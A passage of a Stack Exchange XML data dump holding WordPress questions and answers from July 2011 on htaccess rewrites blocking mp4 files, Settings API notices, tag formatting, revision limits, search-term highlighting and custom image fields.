  <row Id="21700" PostTypeId="1" CreationDate="2011-07-01T10:54:56.903" Score="2" ViewCount="117" Body="&lt;p&gt;I am running wordpress 3.2rc2 multisite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I inserted a few .mp4 videos into the root of my domain so that I can run a few basic tests with the jw player. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to access the url to the .mp4 video, I somehow end up with a wordpress 404 page. This is also causing errors within the jw player saying that either the file is not found, or access is denied. Permissions are 644 on the mp4 files, and the owner/group is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening and how do I fix it so that wordpress stops messing with my mp4 files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: can someone please add the mp4 tag, I don't have enough rep to do this yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;&#xA;# uploaded files&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]&#xA;&#xA;# add a trailing slash to /wp-admin&#xA;RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;RewriteRule  ^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) $2 [L]&#xA;RewriteRule  ^([_0-9a-zA-Z-]+/)?(.*\.php)$ $2 [L]&#xA;RewriteRule . index.php [L]&#xA;&#xA;AddType video/ogg  .ogv&#xA;AddType video/mp4  .mp4&#xA;AddType video/webm .webm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;If I use the wordpress media uploader, then I can access the mp4 videos just fine. I just can't place them anywhere else on the server which is a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any further ideas as to why wordpress is screwing with my mp4s when in other directories or even when they are in the root?&lt;/p&gt;&#xA;" OwnerUserId="370" LastEditorUserId="370" LastEditorDisplayName="" LastEditDate="2011-07-01T18:40:28.907" LastActivityDate="2011-07-02T15:33:43.643" Title="wordpress htaccess is hijacking my .mp4 files" Tags="&lt;multisite&gt;&lt;htaccess&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="21701" PostTypeId="2" ParentId="21699" CreationDate="2011-07-01T11:11:45.830" Score="3" ViewCount="" Body="&lt;p&gt;I am not sure this is the issue here, but if I remember right the current limitation of Settings API is that &lt;code&gt;manage_options&lt;/code&gt; capability is required for everything to be saved properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick search shows it might get fixed in 3.2, see &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14365&quot; rel=&quot;nofollow&quot;&gt;this trac ticket&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-01T11:11:45.830" CommentCount="4" />
  <row Id="21702" PostTypeId="1" CreationDate="2011-07-01T11:48:15.640" Score="0" ViewCount="77" Body="&lt;p&gt;Been playing around with the Settings API and found that messages (for success or errors) are only displayed when a settings page is hooked into WordPress menu via add_options_page(). Anything else will not work e.g. add_dashboard_page(). Would like to know if this is true? Sample code I tried with is the answer containing the &quot;RegisteredSettingsTest&quot; class at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9774/where-to-hook-register-settings-for-settings-api-when-also-want-to-up&quot;&gt;Where to hook register_settings for Settings API when also want to update options outside of Settings API?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6667" LastActivityDate="2011-07-02T07:31:43.607" Title="Settings API updated messages won't show if custom admin page not hooked into add_options_page()" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="21703" PostTypeId="2" ParentId="21702" CreationDate="2011-07-01T11:59:10.703" Score="2" ViewCount="" Body="&lt;p&gt;I use Settings API integration with my Theme,use &lt;code&gt;add_theme_page()&lt;/code&gt;, and have no problem displaying admin notices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that it is a problem with your &lt;em&gt;code&lt;/em&gt; rather than a Settings API limitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you post your actual code, so we can help you resolve any code-related issues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to output your admin notices explicitly. For example, here is what I use in my settings page markup function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( isset( $_GET['settings-updated'] ) ) {&#xA;    echo &quot;&amp;lt;div class='updated'&amp;gt;&amp;lt;p&amp;gt;Theme settings updated successfully.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume you could do something similar for error notices, as well.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-01T12:45:20.760" LastActivityDate="2011-07-01T12:45:20.760" CommentCount="4" />
  <row Id="21704" PostTypeId="2" ParentId="21690" CreationDate="2011-07-01T12:14:39.510" Score="1" ViewCount="" Body="&lt;p&gt;A couple things to try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a &lt;em&gt;new&lt;/em&gt; custom image size: &lt;code&gt;add_image_size( 'my-custom-thumb', 150, 150 );&lt;/code&gt; Play around with the dimensions, to see how WordPress reacts. There may be a collision, since there is already a 150x150 image size.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Regenerate your thumbnails, using the &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt; Plugin or the &lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-thumbnail-rebuild/&quot; rel=&quot;nofollow&quot;&gt;Ajax Thumbnail Rebuild&lt;/a&gt; Plugin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And, as @Rarst said: remove the array from the call to &lt;code&gt;the_post_thumbnail()&lt;/code&gt;; either pass it no parameters, or pass it an &lt;code&gt;image-size-name&lt;/code&gt; as an argument.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-01T12:14:39.510" CommentCount="1" />
  <row Id="21705" PostTypeId="1" AcceptedAnswerId="21708" CreationDate="2011-07-01T12:21:23.157" Score="-1" ViewCount="73" Body="&lt;p&gt;The majority of new user signups I receive on my Wordpress blog look dodgy, with @someblog.com, @somearticle.com, or @gmail.com addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do they gain by signing up as a new user?&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-07-01T19:01:52.950" Title="What do spammers gain by signing up as a user?" Tags="&lt;users&gt;&lt;security&gt;&lt;spam&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="21706" PostTypeId="2" ParentId="21696" CreationDate="2011-07-01T12:31:36.053" Score="0" ViewCount="" Body="&lt;p&gt;Themes shouldn't be incorporating user management. Themes are for &lt;em&gt;presentation&lt;/em&gt; of content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members Plugin&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-01T12:31:36.053" />
  <row Id="21707" PostTypeId="1" AcceptedAnswerId="21710" CreationDate="2011-07-01T12:45:33.313" Score="0" ViewCount="45" Body="&lt;p&gt;I need to &lt;code&gt;get_the_tag_list&lt;/code&gt; but want to remove whitespace &lt;strong&gt;within&lt;/strong&gt; individual tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, &#xA;    &lt;code&gt;firefox, internet explorer, opera&lt;/code&gt;&#xA;becomes&#xA;    &lt;code&gt;firefox, internetexplorer, opera&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the filters I found removed whitespace from the HTML, not the content itself.&lt;/p&gt;&#xA;" OwnerUserId="6662" LastActivityDate="2011-07-01T12:55:51.073" Title="return get_the_tag_list with whitespace removed" Tags="&lt;filters&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="21708" PostTypeId="2" ParentId="21705" CreationDate="2011-07-01T12:48:04.657" Score="1" ViewCount="" Body="&lt;p&gt;Some are attempting to leave their links behind, they believe the quantity not quality approach will actual help increase SEO rankings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other reason would be affiliate marketing garbage links trying to make a penny.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-01T12:48:04.657" />
  <row Id="21709" PostTypeId="2" ParentId="18652" CreationDate="2011-07-01T12:53:16.110" Score="3" ViewCount="" Body="&lt;p&gt;Umm, I can't comment yet, but VicePrez's answer does work. The following works just fine on a category archive page (although you probably want to do something other than just echo it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$category = get_the_category(); &#xA;echo $category[0]-&amp;gt;cat_ID;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Scratch that, it worked for me until I came across a category that didn't have a post, then it picked up the subcategory instead of the main category. &lt;strong&gt;You can't rely on get_the_category on a category template page&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2518" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-07-06T06:20:44.687" LastActivityDate="2011-07-06T06:20:44.687" />
  <row Id="21710" PostTypeId="2" ParentId="21707" CreationDate="2011-07-01T12:55:51.073" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$tags = get_the_tags();&#xA;$tag_links = array();&#xA;&#xA;foreach((array)$tags as $tag)&#xA;  $tag_links[] = '&amp;lt;a href=&quot;'.get_tag_link($tag-&amp;gt;term_id).'&quot; rel=&quot;tag&quot;&amp;gt;'.str_replace(' ', '', $tag-&amp;gt;name)).'&amp;lt;/a&amp;gt;';&#xA;&#xA;echo implode(', ', $tag_links);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-01T12:55:51.073" CommentCount="1" />
  <row Id="21711" PostTypeId="2" ParentId="21700" CreationDate="2011-07-01T12:58:45.027" Score="1" ViewCount="" Body="&lt;p&gt;A missing mime type should not cause a 404 page but the AddType needs to be wrapped in &lt;code&gt;&amp;lt;IfModule mod_mime.c&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_mime.c&amp;gt;&#xA;    AddType video/mp4 .mp4 .m4v&#xA;    AddType video/mpeg .mpeg .mpg .mpe&#xA;    AddType video/asf .asf .asx .wax .wmv .wmx&#xA;    AddType video/avi .avi&#xA;    AddType video/quicktime .mov .qt&#xA;    AddType audio/ogg .ogg&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running jw player on a multisite and I had to use absolute urls to access the player and the file.  I created a folder in my site root that contained the player and files then wrote a function to display the video and enqueued the swfobject using wp_enqueue_script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_action( 'template_redirect', 'load_swf_object' );&#xA; function load_swf_object() {&#xA;    wp_enqueue_script('swf_object', '/jw/swfobject.js');&#xA;}&#xA;&#xA;function c3m_play_the_video() {  &#xA; echo &quot;&amp;lt;div id='front-vid'&amp;gt;&#xA;        &amp;lt;div id='videospace'&amp;gt;This text will be replaced&amp;lt;/div&amp;gt;&#xA;        &amp;lt;script type='text/javascript'&amp;gt;&#xA;      var so = new SWFObject('http://example.com/jw/player.swf','mpl','520','350','9');&#xA;      so.addParam('allowfullscreen','true');&#xA;      so.addParam('allowscriptaccess','always');&#xA;      so.addParam('wmode','opaque');&#xA;      so.addVariable('file','http://example.com/jw/video/video_name.mp4');&#xA;      so.addVariable('image','http://example.com/jw/video/video-face.jpg');&#xA;      so.addVariable('skin','http://example.com/jw/skins/glow.zip');&#xA;      so.addVariable('bufferlength','3');&#xA;      so.write('videospace');&#xA;      &amp;lt;/script&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-01T12:58:45.027" CommentCount="3" />
  <row Id="21712" PostTypeId="2" ParentId="21684" CreationDate="2011-07-01T13:08:45.813" Score="2" ViewCount="" Body="&lt;p&gt;You have the ?&gt; and ?php at wrong place, this way user logged in testing is a simple text. &#xA;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add google analytics to footer&#xA;function add_google_analytics() {&#xA;    if ( !is_user_logged_in() ) &#xA;    {&#xA;    ?&amp;gt;&#xA;        &amp;lt;!--Google Analytics--&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            var _gaq = _gaq || [];&#xA;            _gaq.push(['_setAccount', 'UA-XXXXXXXX-X']);&#xA;            _gaq.push(['_trackPageview']);&#xA;            _gaq.push(['_trackPageLoadTime']);&#xA;            (function() {&#xA;                var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xA;                ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xA;                var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xA;            })();&#xA;        &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    }&#xA;}&#xA;&#xA;add_action('wp_footer', 'add_google_analytics');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-07-01T13:08:45.813" />
  <row Id="21713" PostTypeId="1" AcceptedAnswerId="21715" CreationDate="2011-07-01T13:54:15.763" Score="2" ViewCount="36" Body="&lt;p&gt;How can I define the maximum number of &lt;a href=&quot;http://codex.wordpress.org/Revision_Management&quot; rel=&quot;nofollow&quot;&gt;revisions&lt;/a&gt; on a per-post type basis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example posts have 3 max revisions where as pages have a max of 10.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-07-01T13:59:09.117" Title="Define maximum number of revisions per post type?" Tags="&lt;revisions&gt;" AnswerCount="1" />
  <row Id="21714" PostTypeId="2" ParentId="21696" CreationDate="2011-07-01T13:54:32.643" Score="2" ViewCount="" Body="&lt;p&gt;Just echoing what Chip already said: &lt;strong&gt;Themes&lt;/strong&gt; are for &lt;em&gt;presentation&lt;/em&gt;, &lt;strong&gt;plugins&lt;/strong&gt; are for functionality.  Custom user registration and a 'My Account' panel would be in the realm of custom functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote another WordPress developer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you're building a bathroom and you change the wallpaper, the toilet shouldn't disappear, too.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Themes are the look and feel of your site and should be capable of being interchanged and swapped out easily.  Changing the theme, though, shouldn't remove your custom features (i.e. user management tools).  This is why they should be housed in a plugin rather than the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, Chip also recommended an outstanding system: &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members Plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not quite what you're looking for, check out these as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-user-registration-lite/&quot; rel=&quot;nofollow&quot;&gt;Custom User Registration Lite&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-user-registration/&quot; rel=&quot;nofollow&quot;&gt;WP User Registration&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simplr-registration-form/&quot; rel=&quot;nofollow&quot;&gt;Simplr User Registration Form&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finally, since the custom work you need done might fall outside the realm of &lt;em&gt;any&lt;/em&gt; existing plugin, you might consider listing the project on &lt;a href=&quot;http://jobs.wordpress.net&quot; rel=&quot;nofollow&quot;&gt;jobs.wordpress.net&lt;/a&gt; and hiring a developer to build the system for you.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-07-01T13:54:32.643" />
  <row Id="21715" PostTypeId="2" ParentId="21713" CreationDate="2011-07-01T13:59:09.117" Score="3" ViewCount="" Body="&lt;p&gt;I might be wrong, but my first guess would be that this is not easily possible, because number of revisions gets saved into constant and does not seem hook-able.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From quick search relevant checks are in &lt;code&gt;wp_save_post_revision()&lt;/code&gt; and it's very rigid.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-01T13:59:09.117" CommentCount="1" />
  <row Id="21717" PostTypeId="2" ParentId="21470" CreationDate="2011-07-01T14:20:34.153" Score="0" ViewCount="" Body="&lt;p&gt;I wound up contacting the customer support for my hosting company and they made the change.  I found out that the difference between wordpress single install and multi-site is that multisite lets the superadmin drill down into specific sites and set the limits for those sites.  In terms of the overall limit, wordpress single site doesn't &quot;care&quot; about that, and just reflects what is set on your own server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to php.ini, you can change this setting yourself.  Otherwise, you're at the mercy of your hosting company. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="5861" LastActivityDate="2011-07-01T14:20:34.153" />
  <row Id="21718" PostTypeId="1" CreationDate="2011-07-01T09:28:37.033" Score="1" ViewCount="76" Body="&lt;p&gt;Hi can anyone tell me a good way to use a custom image size with a custom field image in a template without using something like timthumb/phpthumb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set an image size with...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', 'theme_setup' );&#xA;function theme_setup() {&#xA;add_image_size( 'theme-custom-size', 329, 118, true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is fine for the featured image, I just call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail( 'theme-custom-size' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but could I apply this size to an image grabbed with get_post_meta from a custom field image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:_&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ok, I think a simple way to do it would be to use this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-post-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multiple-post-thumbnails/&lt;/a&gt;&#xA;and use multiple featured images rather than custom fields.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-01T14:22:29.690" Title="Wordpress custom image size on custom field image" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21719" PostTypeId="2" ParentId="21718" CreationDate="2011-07-01T10:19:59.540" Score="1" ViewCount="" Body="&lt;p&gt;when you get image form post_meta, you get the path to the image, then you get do something like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo get_post_meta(ID,'customr field name',true); ?&amp;gt;&quot; &#xA;        width=200 height=200 /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6496" LastActivityDate="2011-07-01T10:19:59.540" CommentCount="1" />
  <row Id="21720" PostTypeId="2" ParentId="21697" CreationDate="2011-07-01T15:05:37.187" Score="0" ViewCount="" Body="&lt;p&gt;not really, but can try something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp', 'check_post_pass');&#xA;&#xA;function check_post_pass(){&#xA;&#xA;  if(!is_single() || !post_password_required()) return;&#xA;&#xA;  global $post;&#xA;  if(isset($_COOKIE['wp-postpass_'.COOKIEHASH])&#xA;      &amp;amp;&amp;amp; $_COOKIE['wp-postpass_'.COOKIEHASH] !== $post-&amp;gt;post_password){&#xA;&#xA;    define('INVALID_POST_PASS', true);&#xA;&#xA;    // tell the browser to remove the cookie so the message doesn't show up every time&#xA;    setcookie('wp-postpass_'.COOKIEHASH, NULL, -1, COOKIEPATH);&#xA;  }&#xA;&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(defined('INVALID_POST_PASS')) _e('The password you entered is funky');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But a much better idea would be to create your own &lt;code&gt;the_content()&lt;/code&gt;-like function and password form + check function, without cookies...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-01T15:05:37.187" />
  <row Id="21721" PostTypeId="1" AcceptedAnswerId="21727" CreationDate="2011-07-01T15:13:40.457" Score="-1" ViewCount="57" Body="&lt;p&gt;I use hack of &lt;a href=&quot;http://wordpress.stackexchange.com/users/251/chris-o&quot;&gt;Chris_O&lt;/a&gt; for highlighting the search terms. When a user enters the search keywords without any blank space in the beginning or at end of the search string it retrieves and highlights the search terms in the corresponding records nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if the user enters the search string with blank_space in the beginning or at the end, it retrieves and highlights the the search terms but all non-english portions of the post content appears weird (like ���� or ????). Although the english content appears fine but with tags (e..g, &lt;code&gt;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt;test site&amp;lt;/p&amp;gt;&lt;/code&gt; etc.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible in the hack to strip/remove all blank spaces at the beginning/end of a search string? thanks a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use version 3.1.4 with the default twentyten theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Hack: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add these 2 functions to your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function search_content_highlight()&#xA;{&#xA;    $content = get_the_content();&#xA;    $keys = implode('|', explode(' ', get_search_query()));&#xA;    $content = preg_replace('/(' . $keys .')/iu', '&amp;lt;strong class=&quot;search-highlight&quot;&amp;gt;'placeholder4'&amp;lt;/strong&amp;gt;', $content);&#xA;    echo '&amp;lt;p&amp;gt;' . $content . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;function search_title_highlight()&#xA;{&#xA;    $title = get_the_title();&#xA;    $keys = implode('|', explode(' ', get_search_query()));&#xA;    $title = preg_replace('/(' . $keys .')/iu', '&amp;lt;strong class=&quot;search-highlight&quot;&amp;gt;'placeholder4'&amp;lt;/strong&amp;gt;', $title);&#xA;    echo $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Step 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my theme's loop.php file  I call &lt;code&gt;&amp;lt;?php search_title_highlight(); ?&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;?php the_title(); ?&amp;gt;&lt;/code&gt; and use &lt;code&gt;&amp;lt;?php search_content_highlight(); ?&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;?php the_content(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3: In my css add the search-highlight class&lt;/p&gt;&#xA;" OwnerUserId="5021" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-07-01T15:22:07.967" LastActivityDate="2011-07-01T16:11:39.907" Title="How to strip/remove all blank spaces at the beginning/end of a search string" Tags="&lt;php&gt;&lt;search&gt;&lt;regex&gt;" AnswerCount="2" />
  <row Id="21725" PostTypeId="2" ParentId="21721" CreationDate="2011-07-01T15:26:37.297" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.trim.php&quot; rel=&quot;nofollow&quot;&gt;Use the PHP function &lt;code&gt;trim()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-01T15:26:37.297" CommentCount="1" />
  <row Id="21726" PostTypeId="1" CreationDate="2011-07-01T15:38:53.953" Score="0" ViewCount="96" Body="&lt;p&gt;I would like to place the 'categories metabox' found in new post/edit post page in the &quot;upload new media&quot; page. Any clues ?&lt;/p&gt;&#xA;" OwnerUserId="6670" LastActivityDate="2011-09-01T01:37:46.317" Title="how can we bring category metabox to Media Library/Upload New Media Page" Tags="&lt;categories&gt;&lt;add-meta-box&gt;" AnswerCount="2" />
  <row Id="21727" PostTypeId="2" ParentId="21721" CreationDate="2011-07-01T16:11:39.907" Score="1" ViewCount="" Body="&lt;p&gt;i agree w/ chip, you need trim()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'd try replacing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA; $keys = implode('|', explode(' ', get_search_query()));&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA; $keys = implode('|', explode(' ', trim(get_search_query())));&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-01T16:11:39.907" CommentCount="1" />
  <row Id="21728" PostTypeId="1" CreationDate="2011-07-01T17:05:48.367" Score="1" ViewCount="35" Body="&lt;p&gt;I am using a plugin named &lt;a href=&quot;http://wordpress.org/extend/plugins/add-users-sidebar-widget/&quot; rel=&quot;nofollow&quot;&gt;Add Users SideBar Widget&lt;/a&gt; . It allows the any user on  Multisite based site to join any of the Sub-site by single click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin has a button &quot;Add ME&quot; on the side bar. When a user clicks on it, he will be automatically subscribed to the sub-site or will added with a role according to the widget settings .Then the links to dashboard and logout will be appeared on the same side bar to navigate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for the WordPress versions from 3.1.2 to 3.1.4, it's having some problems. The &quot;Add Me&quot; Button appearing every time on page refresh or user login  . Actually it should not appear if he already joined to a specific sub-site &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to resolve the issue . Could any one help me to customize the code and make it work as usual? I can update the code if any one could guide me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a great option to Multi-site users if any one create a fork of plugin which may fully compatible with newer versions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/LfKmyaex&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the full code in 'Paste Bin'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="3477" LastEditorDisplayName="" LastEditDate="2011-07-01T17:11:40.017" LastActivityDate="2011-07-01T17:11:40.017" Title="Problem with Plugin and help needed to Customize" Tags="&lt;plugins&gt;&lt;customization&gt;&lt;errors&gt;" CommentCount="1" />
  <row Id="21729" PostTypeId="1" CreationDate="2011-06-30T13:07:47.183" Score="-1" ViewCount="145" Body="&lt;p&gt;In wordpress 3 you can create your own custom content types (without plugins) natively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this and created a new &quot;add image&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm having trouble displaying this image in my page. In the loop I am doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'banner_image', true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, this just returns '49' (which I assume is the ID of the post). I have tried setting it to false as well, which when using var_dump() reveals an array only with this number in it. Where is the image path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your help.&#xA;Michael.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of the admin area and the image I need to output in the loop:&#xA;&lt;a href=&quot;http://i.imgur.com/hsllK.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i.imgur.com/hsllK.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    query_posts(array( &#xA;&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'post_type' =&amp;gt; 'work', &#xA;    